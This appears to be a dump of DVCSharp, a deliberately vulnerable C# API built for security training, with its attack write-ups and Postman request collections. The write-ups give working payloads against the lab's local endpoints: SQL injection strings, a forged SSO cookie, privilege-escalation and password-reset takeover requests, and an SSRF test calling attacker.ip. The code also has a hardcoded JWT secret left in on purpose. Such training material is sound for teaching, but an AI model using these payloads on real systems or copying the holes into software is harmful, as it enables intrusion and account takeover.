| * [OWASP Top 10 Mapping](OWASP-Top-10-Mapping.md) 6 | * Attacks 7 | * [SSO Cookie Authentication Bypass](attacks/sso-cookie-auth-bypass.md) 8 | * [Insecure JWT Usage](attacks/insecure-jwt-usage.md) 9 | * [Email Address Bruteforce](attacks/email-address-bruteforce.md) 10 | * [Weak Password Reset Implementation](attacks/weak-password-reset.md) 11 | * [Server-side Request Forgery](attacks/ssrf.md) 12 | * [Privilege Escalation](attacks/privilege-escalation.md) 13 | * [Insecure Deserialization](attacks/insecure-deserialization.md) 14 | * [SQL Injection](attacks/sql-injection.md) -------------------------------------------------------------------------------- /documentation-dvcsharp-book/api_usage.md: -------------------------------------------------------------------------------- 1 | # API Usage 2 | 3 | The *DVCSharp* application supports RESTful APIs to perform various operations such as: 4 | 5 | * Register User 6 | * Authentication and get access token 7 | * Get token info 8 | * Update user 9 | * Import user 10 | * Delete user 11 | * SSO authentication to get access token 12 | * Password reset 13 | * List products 14 | * Create products 15 | * Export products 16 | * Generic import entities 17 | 18 | [Download Postman Collections](data/DVCSharp_postman_v2.json) -------------------------------------------------------------------------------- /documentation-dvcsharp-book/attacks/email-address-bruteforce.md: -------------------------------------------------------------------------------- 1 | # Email Brute Force 2 | 3 | The password reset API endpoint available at the below URL can be exploited to identify if a given email address is registered with the system: 4 | 5 | ``` 6 | http://rws.local:5000/api/passwordresets 7 | ``` 8 | 9 | This is due to difference in response for registered and unregistered e-mail address. 10 | 11 | The system responds with indicative message when a password reset token is requested for an email address that does not exist. 12 | 13 | ```bash 14 | curl -X POST \ 15 | http://rws.local:5000/api/passwordresets \ 16 | -H 'Content-Type: application/json' \ 17 | -d '{ 18 | "email": "doesnotexists@test.com" 19 | }' 20 | 21 | { 22 | "email": [ 23 | "Email address does not exist" 24 | ] 25 | } 26 | ``` 27 | 28 | However, when the password reset token is requested for a valid e-mail address, the system responds with a message confirming the same. 29 | 30 | ``` 31 | An email with password reset link has been sent. 32 | ``` 33 | 34 | This difference in response can be exploited to identify if a given email address is already registered with the system. An attacker can leverage this issue to identify registered email addresses through brute force attack. -------------------------------------------------------------------------------- /documentation-dvcsharp-book/attacks/insecure-deserialization.md: -------------------------------------------------------------------------------- 1 | # Insecure Deserialization 2 | 3 | ## Overview 4 | 5 | An insecure deserialization vulnerability exists in the Product `import` endpoint at the following URL: 6 | 7 | ``` 8 | http://rws.local:5000/api/products/import 9 | ``` 10 | 11 | ## Exploitation 12 | 13 | An attacker can send arbitrary XML formatted serialized object to the target API and have the application deserialize the same. 14 | 15 | A payload such as below will deserialize 2 entities of type `Product` by the application: 16 | 17 | ```xml 18 | 19 | 20 | 21 | 22 | Test Product 1 23 | Test Product Description 24 | PROD-001 25 | 0 26 | 27 | 28 | 29 | 30 | Test Product 11 31 | Test Product Description 32 | PROD-0011 33 | 100 34 | 35 | 36 | 37 | ``` 38 | 39 | However, a request such as below, allows an attacker to construct arbitrary object with constructor parameters. 40 | 41 | ```xml 42 | 43 | 44 | 45 | false 46 | 47 | 48 | ``` 49 | 50 | ## Impact 51 | 52 | An attacker can exploit this weakness by: 53 | 54 | * Instantiating arbitrary objects available in the application namespace 55 | * Leverage constructor logic to exploit the system by supplying arbitrary parameters to the class constructor 56 | 57 | Automated tools such as `ysoserial` can be used to assist in exploitation. 58 | 59 | ## Reference 60 | 61 | * https://github.com/frohoff/ysoserial -------------------------------------------------------------------------------- /documentation-dvcsharp-book/attacks/insecure-jwt-usage.md: -------------------------------------------------------------------------------- 1 | # Insecure JWT Usage 2 | 3 | The following vulnerabilities were found through source code review: 4 | 5 | 1. Hardcode JWT secret in `User` model class 6 | 2. Failure to verify `audience`, `issuer` in authentication middleware configuration 7 | 8 | The first issue exists in `User.cs`: 9 | 10 | ```c 11 | [...] 12 | public const string RoleSupport = "Support"; 13 | public const string RoleAdministrator = "Administrator"; 14 | public const string TokenSecret = "f449a71cff1d56a122c84fa478c16af9075e5b4b8527787b56580773242e40ce"; 15 | public int ID { get; set; } 16 | [...] 17 | ``` 18 | 19 | The second exists in `Startup.cs`: 20 | 21 | ```c 22 | services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme) 23 | .AddJwtBearer(options => { 24 | options.TokenValidationParameters = new TokenValidationParameters 25 | { 26 | ValidateIssuer = false, 27 | ValidateAudience = false, 28 | ValidateIssuerSigningKey = true, 29 | IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8. 30 | GetBytes(Models.User.TokenSecret)) 31 | }; 32 | }); 33 | ``` 34 | 35 | ## Impact 36 | 37 | This results in an insecure environment as the `secret` token is available in CI/CD, developer laptops. This increases the overall attack surface for `secret` compromise. If an attacker manages to get the JWT secret, then he will be able to craft his own signed JWT which will be accepted by the system. 38 | 39 | This will result in authentication bypass and privilege elevation. -------------------------------------------------------------------------------- /documentation-dvcsharp-book/attacks/privilege-escalation.md: -------------------------------------------------------------------------------- 1 | # Privilege Escalation 2 | 3 | ## Overview 4 | 5 | An insufficient authorization issue exists in user management API at the following endpoint: 6 | 7 | ``` 8 | http://rws.local:5000/api/users/{id} 9 | ``` 10 | 11 | This can be exploited by an authenticated user to elevate his privilege (role) in the system or reset other user's password due to lack of appropriate authorization control. 12 | 13 | ## Exploitation 14 | 15 | An attacker can send the following request to elevate his privilege or update account of any other user identified by the user id in the URL: 16 | 17 | ``` 18 | curl -X PUT \ 19 | http://rws.local:5000/api/users/2 \ 20 | -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJVc2VyIiwiZXhwIjoxNTI2MzgwMzYxLCJpc3MiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3QubG9jYWwvIn0.5ZejCtXrq2vZJJQQxQn2GJ9aeZ2OEi8wuuia6fAAR1Q' \ 21 | -H 'Content-Type: application/json' \ 22 | -d '{ 23 | "name": "Updated User", 24 | "email": "updated@updated.com", 25 | "password": "newpassword", 26 | "passwordConfirmation": "newpassword", 27 | "role": "Administrator" 28 | }' 29 | ``` 30 | 31 | In this example, the attacker is updating the details of `user id: 2`. 32 | 33 | Due to the sequential nature of user id, it is possible to brute force an update details for any user in the system. 34 | 35 | ## Impact 36 | 37 | An attacker can reset credentials for any account or elevate his own privilege by abusing the vulnerable API endpoint. 38 | 39 | -------------------------------------------------------------------------------- /documentation-dvcsharp-book/attacks/sql-injection.md: -------------------------------------------------------------------------------- 1 | # SQL Injection 2 | 3 | ## Overview 4 | 5 | An SQL injection vulnerability exists in 6 | 7 | ``` 8 | http://localhost:5000/api/products/search?keyword=AAAA 9 | ``` 10 | 11 | ## Exploitation 12 | 13 | An attacker can send specially craft queries to inject and execute arbitrary SQL query in the backend database. The presence of the SQL injection can be verified remotely using following two queries 14 | 15 | ``` 16 | http://localhost:5000/api/products/search?keyword=A%' OR 1=1-- 17 | http://localhost:5000/api/products/search?keyword=A%' OR 1=2-- 18 | ``` -------------------------------------------------------------------------------- /documentation-dvcsharp-book/attacks/sso-cookie-auth-bypass.md: -------------------------------------------------------------------------------- 1 | # SSO Cookie Authentication Bypass 2 | 3 | ## Overview 4 | 5 | An *authentication bypass* vulnerability exists in `GetTokenSSO` method in `AuthorizationsController` class due to incorrect trust on user supplied data. 6 | 7 | ## Exploitation 8 | 9 | The vulnerable endpoint is accessible through the following URL: 10 | 11 | ``` 12 | http://rws.local:5000/api/authorizations/GetTokenSSO 13 | ``` 14 | 15 | It is possible to exploit this endpoint to generate access token for arbitrary user by specially crafting the value of `sso_ctx` cookie. 16 | 17 | We craft the cookie value as below: 18 | 19 | ``` 20 | $ echo '{ "auth_user": "8" }' | base64 21 | eyAiYXV0aF91c2VyIjogIjgiIH0K 22 | ``` 23 | 24 | On sending this specially crafted value, we get the access token for user with `ID` 8: 25 | 26 | ``` 27 | $ curl -H 'Cookie: sso_ctx=eyAiYXV0aF91c2VyIjogIjgiIH0K' http://rws.local:5000/api/authorizations/GetTokenSSO 28 | 29 | {"role":"User","accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJVc2VyIiwiZXhwIjoxNTI2NDkxNTMxLCJpc3MiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3QubG9jYWwvIn0.EJh2ZN_gJvPjl3KrSqqsaahfDzq9kiTMQ88K1ViGIpA"} 30 | ``` 31 | 32 | > This results in authentication bypass as we can generate an `accessToken` for any user without supplying valid credentials. -------------------------------------------------------------------------------- /documentation-dvcsharp-book/attacks/ssrf.md: -------------------------------------------------------------------------------- 1 | # Server-side Request Forgery 2 | 3 | ## Overview 4 | 5 | A Server-side Request Forgery (SSRF) vulnerability exists in user import API at the following endpoint: 6 | 7 | ``` 8 | http://localhost:5000/api/users/import 9 | ``` 10 | 11 | ## Exploitation 12 | 13 | The API endpoint expects a query parameter `url` pointing to a URL from where to import the contents. This can be tampered to make the application query any URL. This can be verified by setting up a local listener: 14 | 15 | Start `netcat` listener: 16 | 17 | ``` 18 | $ nc -lv 1111 19 | ``` 20 | 21 | On sending a `GET` request to the affected API endpoint, we can verify the SSRF in our listener: 22 | 23 | ``` 24 | http://rws.local:5000/api/users/import?url=http://attacker.ip:1111/aa 25 | ``` 26 | 27 | ``` 28 | curl -X GET \ 29 | 'http://localhost:5000/api/users/import?url=http://127.0.0.1:1111/aa' \ 30 | -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJVc2VyIiwiZXhwIjoxNTI2NTM1MTQzLCJpc3MiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3QubG9jYWwvIn0.61BWoAXpLul1Kj1IYlL4jTJK1kUSHSXuQxZvNmNc-C4' \ 31 | ``` 32 | 33 | ``` 34 | $ nc -lv 1111 35 | 36 | GET /aa HTTP/1.1 37 | Host: 127.0.0.1:1111 38 | Accept: */* 39 | ``` 40 | 41 | ## Impact 42 | 43 | An attacker can exploit this issue to leak internal infrastructure related information by attempting to connect to various internal resources and inspecting the error message received from the application. 44 | 45 | This issue may also leak internal secrets if the application include them as part of the HTTP request sent to un-trusted endpoints. -------------------------------------------------------------------------------- /documentation-dvcsharp-book/attacks/weak-password-reset.md: -------------------------------------------------------------------------------- 1 | # Weak Password Reset 2 | 3 | ## Overview 4 | 5 | It is possible to reset password of arbitrary user in the system, identified by their email address due to a flaw in the password reset implementation. 6 | 7 | ## Exploitation 8 | 9 | The password reset flow is executed in 2 step process: 10 | 11 | 1. Request for password reset 12 | 2. Use the password reset link obtained from the system to reset user's own password 13 | 14 | The endpoint below handles password reset request and password request submission: 15 | 16 | ``` 17 | http://rws.local:5000/api/passwordresets 18 | ``` 19 | 20 | The following request can be sent to initiate a password reset request, by requesting a password reset token: 21 | 22 | ``` 23 | curl -X POST \ 24 | http://rws.local:5000/api/passwordresets \ 25 | -H 'Content-Type: application/json' \ 26 | -d '{ 27 | "email": "test@test.com" 28 | }' 29 | ``` 30 | 31 | The application responds with a message indicating that the password reset link is sent to registered email address: 32 | 33 | ``` 34 | An email with password reset link has been sent. 35 | ``` 36 | 37 | However, it turns out that the password reset request only contains a `key` parameter that can be derived from the e-mail address. 38 | 39 | The password reset can be executed by sending a `PUT` request with the following payload to the same API endpoint: 40 | 41 | ```json 42 | { 43 | "key": "b642b4217b34b1e8d3bd915fc65c4452", 44 | "password": "new-password", 45 | "passwordConfirmation": "new-password" 46 | } 47 | ``` 48 | 49 | The `key` value is used to identify the password reset request initiated for a given user. It was found that the `key` value is just `MD5` checksum of user's email address, which can easily be computed by an attacker. 50 | 51 | ## Impact 52 | 53 | This issue can be use to reset and take over any registered user account identified by their e-mail address. -------------------------------------------------------------------------------- /documentation-dvcsharp-book/data/DVCSharp_postman_v2.json: -------------------------------------------------------------------------------- 1 | { 2 | "info": { 3 | "_postman_id": "1982b191-a048-ce9d-f9a2-b0666ccc2877", 4 | "name": "DVCSharp Core API", 5 | "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json" 6 | }, 7 | "item": [ 8 | { 9 | "name": "Register User", 10 | "request": { 11 | "method": "POST", 12 | "header": [ 13 | { 14 | "key": "Content-Type", 15 | "value": "application/json" 16 | } 17 | ], 18 | "body": { 19 | "mode": "raw", 20 | "raw": "{\n\t\"name\": \"Test User\",\n\t\"email\": \"test@test.com\",\n\t\"password\": \"test123\",\n\t\"passwordConfirmation\": \"test123\"\n}" 21 | }, 22 | "url": { 23 | "raw": "http://localhost:5000/api/registrations", 24 | "protocol": "http", 25 | "host": [ 26 | "rws", 27 | "local" 28 | ], 29 | "port": "5000", 30 | "path": [ 31 | "api", 32 | "registrations" 33 | ] 34 | }, 35 | "description": "Register new user" 36 | }, 37 | "response": [] 38 | }, 39 | { 40 | "name": "List Users", 41 | "request": { 42 | "method": "GET", 43 | "header": [ 44 | { 45 | "key": "Authorization", 46 | "value": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJVc2VyIiwiZXhwIjoxNTI2MzgwMzYxLCJpc3MiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3QubG9jYWwvIn0.5ZejCtXrq2vZJJQQxQn2GJ9aeZ2OEi8wuuia6fAAR1Q" 47 | } 48 | ], 49 | "body": {}, 50 | "url": { 51 | "raw": "http://localhost:5000/api/users", 52 | "protocol": "http", 53 | "host": [ 54 | "rws", 55 | "local" 56 | ], 57 | "port": "5000", 58 | "path": [ 59 | "api", 60 | "users" 61 | ] 62 | } 63 | }, 64 | "response": [] 65 | }, 66 | { 67 | "name": "Update User", 68 | "request": { 69 | "method": "PUT", 70 | "header": [ 71 | { 72 | "key": "Authorization", 73 | "value": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJVc2VyIiwiZXhwIjoxNTI2MzgwMzYxLCJpc3MiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3QubG9jYWwvIn0.5ZejCtXrq2vZJJQQxQn2GJ9aeZ2OEi8wuuia6fAAR1Q" 74 | }, 75 | { 76 | "key": "Content-Type", 77 | "value": "application/json" 78 | } 79 | ], 80 | "body": { 81 | "mode": "raw", 82 | "raw": "{\n\t\"name\": \"Updated User\",\n\t\"email\": \"updated@updated.com\",\n\t\"password\": \"newpassword\",\n\t\"passwordConfirmation\": \"newpassword\",\n\t\"role\": \"Administrator\"\n}" 83 | }, 84 | "url": { 85 | "raw": "http://localhost:5000/api/users/1", 86 | "protocol": "http", 87 | "host": [ 88 | "rws", 89 | "local" 90 | ], 91 | "port": "5000", 92 | "path": [ 93 | "api", 94 | "users", 95 | "1" 96 | ] 97 | } 98 | }, 99 | "response": [] 100 | }, 101 | { 102 | "name": "Import Users", 103 | "request": { 104 | "method": "GET", 105 | "header": [ 106 | { 107 | "key": "Authorization", 108 | "value": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJVc2VyIiwiZXhwIjoxNTI2Mjg3MTMxLCJpc3MiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3QubG9jYWwvIn0.5OOoWWZU26AmHlKOVgbhsQBoJVHQ0h_a0Eli6gfx5jM" 109 | } 110 | ], 111 | "body": {}, 112 | "url": { 113 | "raw": "http:/localhost:5000/api/users/import?url=http://ifconfig.co", 114 | "host": [ 115 | "http:" 116 | ], 117 | "port": "", 118 | "path": [ 119 | "localhost:5000", 120 | "api", 121 | "users", 122 | "import" 123 | ], 124 | "query": [ 125 | { 126 | "key": "url", 127 | "value": "http://ifconfig.co" 128 | } 129 | ] 130 | } 131 | }, 132 | "response": [] 133 | }, 134 | { 135 | "name": "Token Info", 136 | "request": { 137 | "method": "GET", 138 | "header": [ 139 | { 140 | "key": "Authorization", 141 | "value": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJVc2VyIiwiZXhwIjoxNTI2MzgwMzYxLCJpc3MiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3QubG9jYWwvIn0.5ZejCtXrq2vZJJQQxQn2GJ9aeZ2OEi8wuuia6fAAR1Q" 142 | } 143 | ], 144 | "body": {}, 145 | "url": { 146 | "raw": "http://localhost:5000/api/tokens/tokenInfo", 147 | "protocol": "http", 148 | "host": [ 149 | "rws", 150 | "local" 151 | ], 152 | "port": "5000", 153 | "path": [ 154 | "api", 155 | "tokens", 156 | "tokenInfo" 157 | ] 158 | } 159 | }, 160 | "response": [] 161 | }, 162 | { 163 | "name": "Delete User", 164 | "request": { 165 | "method": "DELETE", 166 | "header": [], 167 | "body": {}, 168 | "url": { 169 | "raw": "http://localhost:5000/api/users/1", 170 | "protocol": "http", 171 | "host": [ 172 | "rws", 173 | "local" 174 | ], 175 | "port": "5000", 176 | "path": [ 177 | "api", 178 | "users", 179 | "1" 180 | ] 181 | }, 182 | "description": "Delete user by id" 183 | }, 184 | "response": [] 185 | }, 186 | { 187 | "name": "Authorization Request", 188 | "request": { 189 | "method": "POST", 190 | "header": [ 191 | { 192 | "key": "Content-Type", 193 | "value": "application/json" 194 | } 195 | ], 196 | "body": { 197 | "mode": "raw", 198 | "raw": "{\n\t\"email\": \"test@test.com\",\n\t\"password\": \"test123\"\n}" 199 | }, 200 | "url": { 201 | "raw": "http://localhost:5000/api/authorizations", 202 | "protocol": "http", 203 | "host": [ 204 | "rws", 205 | "local" 206 | ], 207 | "port": "5000", 208 | "path": [ 209 | "api", 210 | "authorizations" 211 | ] 212 | } 213 | }, 214 | "response": [] 215 | }, 216 | { 217 | "name": "Authorization Request SSO", 218 | "request": { 219 | "method": "GET", 220 | "header": [ 221 | { 222 | "key": "Cookie", 223 | "value": "sso_ctx=eyAiYXV0aF91c2VyIjogIjgiIH0K" 224 | } 225 | ], 226 | "body": { 227 | "mode": "raw", 228 | "raw": "{\n\t\"email\": \"test@test.com\",\n\t\"password\": \"password123\"\n}" 229 | }, 230 | "url": { 231 | "raw": "http://localhost:5000/api/authorizations/GetTokenSSO", 232 | "protocol": "http", 233 | "host": [ 234 | "rws", 235 | "local" 236 | ], 237 | "port": "5000", 238 | "path": [ 239 | "api", 240 | "authorizations", 241 | "GetTokenSSO" 242 | ] 243 | } 244 | }, 245 | "response": [] 246 | }, 247 | { 248 | "name": "Password Reset Request", 249 | "request": { 250 | "method": "POST", 251 | "header": [ 252 | { 253 | "key": "Content-Type", 254 | "value": "application/json" 255 | } 256 | ], 257 | "body": { 258 | "mode": "raw", 259 | "raw": "{\n\t\"email\": \"test@test.com\"\n}" 260 | }, 261 | "url": { 262 | "raw": "http://localhost:5000/api/passwordresets", 263 | "protocol": "http", 264 | "host": [ 265 | "rws", 266 | "local" 267 | ], 268 | "port": "5000", 269 | "path": [ 270 | "api", 271 | "passwordresets" 272 | ] 273 | } 274 | }, 275 | "response": [] 276 | }, 277 | { 278 | "name": "Password Reset", 279 | "request": { 280 | "method": "PUT", 281 | "header": [ 282 | { 283 | "key": "Content-Type", 284 | "value": "application/json" 285 | } 286 | ], 287 | "body": { 288 | "mode": "raw", 289 | "raw": "{\n\t\"key\": \"b642b4217b34b1e8d3bd915fc65c4452\",\n\t\"password\": \"password123\",\n\t\"passwordConfirmation\": \"password123\"\n}" 290 | }, 291 | "url": { 292 | "raw": "http://localhost:5000/api/passwordresets", 293 | "protocol": "http", 294 | "host": [ 295 | "rws", 296 | "local" 297 | ], 298 | "port": "5000", 299 | "path": [ 300 | "api", 301 | "passwordresets" 302 | ] 303 | } 304 | }, 305 | "response": [] 306 | }, 307 | { 308 | "name": "List Product", 309 | "request": { 310 | "method": "GET", 311 | "header": [ 312 | { 313 | "key": "Content-Type", 314 | "value": "application/json" 315 | } 316 | ], 317 | "body": { 318 | "mode": "raw", 319 | "raw": "{\n\t\"key\": \"b642b4217b34b1e8d3bd915fc65c4452\",\n\t\"password\": \"password123\",\n\t\"passwordConfirmation\": \"password123\"\n}" 320 | }, 321 | "url": { 322 | "raw": "http://localhost:5000/api/products", 323 | "protocol": "http", 324 | "host": [ 325 | "rws", 326 | "local" 327 | ], 328 | "port": "5000", 329 | "path": [ 330 | "api", 331 | "products" 332 | ] 333 | } 334 | }, 335 | "response": [] 336 | }, 337 | { 338 | "name": "Export Products", 339 | "request": { 340 | "method": "GET", 341 | "header": [ 342 | { 343 | "key": "Content-Type", 344 | "value": "application/json" 345 | } 346 | ], 347 | "body": { 348 | "mode": "raw", 349 | "raw": "{\n\t\"key\": \"b642b4217b34b1e8d3bd915fc65c4452\",\n\t\"password\": \"password123\",\n\t\"passwordConfirmation\": \"password123\"\n}" 350 | }, 351 | "url": { 352 | "raw": "http://localhost:5000/api/products/export", 353 | "protocol": "http", 354 | "host": [ 355 | "rws", 356 | "local" 357 | ], 358 | "port": "5000", 359 | "path": [ 360 | "api", 361 | "products", 362 | "export" 363 | ] 364 | } 365 | }, 366 | "response": [] 367 | }, 368 | { 369 | "name": "Import Products", 370 | "request": { 371 | "method": "POST", 372 | "header": [ 373 | { 374 | "key": "Content-Type", 375 | "value": "application/xml" 376 | } 377 | ], 378 | "body": { 379 | "mode": "raw", 380 | "raw": "\n\n \n 1\n Test Product 1\n Test Product Description\n PROD-001\n 0\n \n \n 2\n Test Product 11\n Test Product Description\n PROD-0011\n 100\n \n" 381 | }, 382 | "url": { 383 | "raw": "http://localhost:5000/api/products/import", 384 | "protocol": "http", 385 | "host": [ 386 | "rws", 387 | "local" 388 | ], 389 | "port": "5000", 390 | "path": [ 391 | "api", 392 | "products", 393 | "import" 394 | ] 395 | } 396 | }, 397 | "response": [] 398 | }, 399 | { 400 | "name": "Create Product", 401 | "request": { 402 | "method": "POST", 403 | "header": [ 404 | { 405 | "key": "Content-Type", 406 | "value": "application/json" 407 | } 408 | ], 409 | "body": { 410 | "mode": "raw", 411 | "raw": "{\n\t\"name\": \"Test Product 11\",\n\t\"description\": \"Test Product Description\",\n\t\"skuId\": \"PROD-0011\",\n\t\"unitPrice\": 100\n}" 412 | }, 413 | "url": { 414 | "raw": "http://localhost:5000/api/products", 415 | "protocol": "http", 416 | "host": [ 417 | "rws", 418 | "local" 419 | ], 420 | "port": "5000", 421 | "path": [ 422 | "api", 423 | "products" 424 | ] 425 | } 426 | }, 427 | "response": [] 428 | }, 429 | { 430 | "name": "Generic Entity Import", 431 | "request": { 432 | "method": "POST", 433 | "header": [ 434 | { 435 | "key": "Content-Type", 436 | "value": "application/xml" 437 | } 438 | ], 439 | "body": { 440 | "mode": "raw", 441 | "raw": "\n\n \n \t\n\t Test Product 1\n\t Test Product Description\n\t PROD-001\n\t 0\n \n \n \n \t\n \tTest Product 11\n \tTest Product Description\n \tPROD-0011\n \t100\n \n \n" 442 | }, 443 | "url": { 444 | "raw": "http://localhost:5000/api/imports", 445 | "protocol": "http", 446 | "host": [ 447 | "rws", 448 | "local" 449 | ], 450 | "port": "5000", 451 | "path": [ 452 | "api", 453 | "imports" 454 | ] 455 | } 456 | }, 457 | "response": [] 458 | } 459 | ] 460 | } 461 | -------------------------------------------------------------------------------- /dvcsharp-core-api.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | netcoreapp2.0 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | dotnet ef database update 4 | dotnet watch run 5 | 6 | 7 | -------------------------------------------------------------------------------- /test/DVCSharp-Core-API.postman_collection.json: -------------------------------------------------------------------------------- 1 | { 2 | "info": { 3 | "_postman_id": "1982b191-a048-ce9d-f9a2-b0666ccc2877", 4 | "name": "DVCSharp Core API", 5 | "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json" 6 | }, 7 | "item": [ 8 | { 9 | "name": "Register User", 10 | "request": { 11 | "method": "POST", 12 | "header": [ 13 | { 14 | "key": "Content-Type", 15 | "value": "application/json" 16 | } 17 | ], 18 | "body": { 19 | "mode": "raw", 20 | "raw": "{\n\t\"name\": \"Test User\",\n\t\"email\": \"test2222@test.com\",\n\t\"password\": \"test123\",\n\t\"passwordConfirmation\": \"test123\"\n}" 21 | }, 22 | "url": { 23 | "raw": "http://localhost:5000/api/registrations", 24 | "protocol": "http", 25 | "host": [ 26 | "localhost" 27 | ], 28 | "port": "5000", 29 | "path": [ 30 | "api", 31 | "registrations" 32 | ] 33 | }, 34 | "description": "Register new user" 35 | }, 36 | "response": [] 37 | }, 38 | { 39 | "name": "List Users", 40 | "request": { 41 | "method": "GET", 42 | "header": [ 43 | { 44 | "key": "Authorization", 45 | "value": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJVc2VyIiwiZXhwIjoxNTI2MzgwMzYxLCJpc3MiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3QubG9jYWwvIn0.5ZejCtXrq2vZJJQQxQn2GJ9aeZ2OEi8wuuia6fAAR1Q" 46 | } 47 | ], 48 | "body": {}, 49 | "url": { 50 | "raw": "http://localhost:5000/api/users", 51 | "protocol": "http", 52 | "host": [ 53 | "localhost" 54 | ], 55 | "port": "5000", 56 | "path": [ 57 | "api", 58 | "users" 59 | ] 60 | } 61 | }, 62 | "response": [] 63 | }, 64 | { 65 | "name": "Update User", 66 | "request": { 67 | "method": "PUT", 68 | "header": [ 69 | { 70 | "key": "Authorization", 71 | "value": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJVc2VyIiwiZXhwIjoxNTI2MzgwMzYxLCJpc3MiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3QubG9jYWwvIn0.5ZejCtXrq2vZJJQQxQn2GJ9aeZ2OEi8wuuia6fAAR1Q" 72 | }, 73 | { 74 | "key": "Content-Type", 75 | "value": "application/json" 76 | } 77 | ], 78 | "body": { 79 | "mode": "raw", 80 | "raw": "{\n\t\"name\": \"Updated User\",\n\t\"email\": \"updated@updated.com\",\n\t\"password\": \"newpassword\",\n\t\"passwordConfirmation\": \"newpassword\",\n\t\"role\": \"Administrator\"\n}" 81 | }, 82 | "url": { 83 | "raw": "http://localhost:5000/api/users/2", 84 | "protocol": "http", 85 | "host": [ 86 | "localhost" 87 | ], 88 | "port": "5000", 89 | "path": [ 90 | "api", 91 | "users", 92 | "2" 93 | ] 94 | } 95 | }, 96 | "response": [] 97 | }, 98 | { 99 | "name": "Import Users", 100 | "request": { 101 | "method": "GET", 102 | "header": [ 103 | { 104 | "key": "Authorization", 105 | "value": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJVc2VyIiwiZXhwIjoxNTI2Mjg3MTMxLCJpc3MiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3QubG9jYWwvIn0.5OOoWWZU26AmHlKOVgbhsQBoJVHQ0h_a0Eli6gfx5jM" 106 | } 107 | ], 108 | "body": {}, 109 | "url": { 110 | "raw": "http://localhost:5000/api/users/import?url=http://ifconfig.co", 111 | "protocol": "http", 112 | "host": [ 113 | "localhost" 114 | ], 115 | "port": "5000", 116 | "path": [ 117 | "api", 118 | "users", 119 | "import" 120 | ], 121 | "query": [ 122 | { 123 | "key": "url", 124 | "value": "http://ifconfig.co" 125 | } 126 | ] 127 | } 128 | }, 129 | "response": [] 130 | }, 131 | { 132 | "name": "Token Info", 133 | "request": { 134 | "method": "GET", 135 | "header": [ 136 | { 137 | "key": "Authorization", 138 | "value": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJVc2VyIiwiZXhwIjoxNTI2MzgwMzYxLCJpc3MiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3QubG9jYWwvIn0.5ZejCtXrq2vZJJQQxQn2GJ9aeZ2OEi8wuuia6fAAR1Q" 139 | } 140 | ], 141 | "body": {}, 142 | "url": { 143 | "raw": "http://localhost:5000/api/tokens/tokenInfo", 144 | "protocol": "http", 145 | "host": [ 146 | "localhost" 147 | ], 148 | "port": "5000", 149 | "path": [ 150 | "api", 151 | "tokens", 152 | "tokenInfo" 153 | ] 154 | } 155 | }, 156 | "response": [] 157 | }, 158 | { 159 | "name": "Delete User", 160 | "request": { 161 | "method": "DELETE", 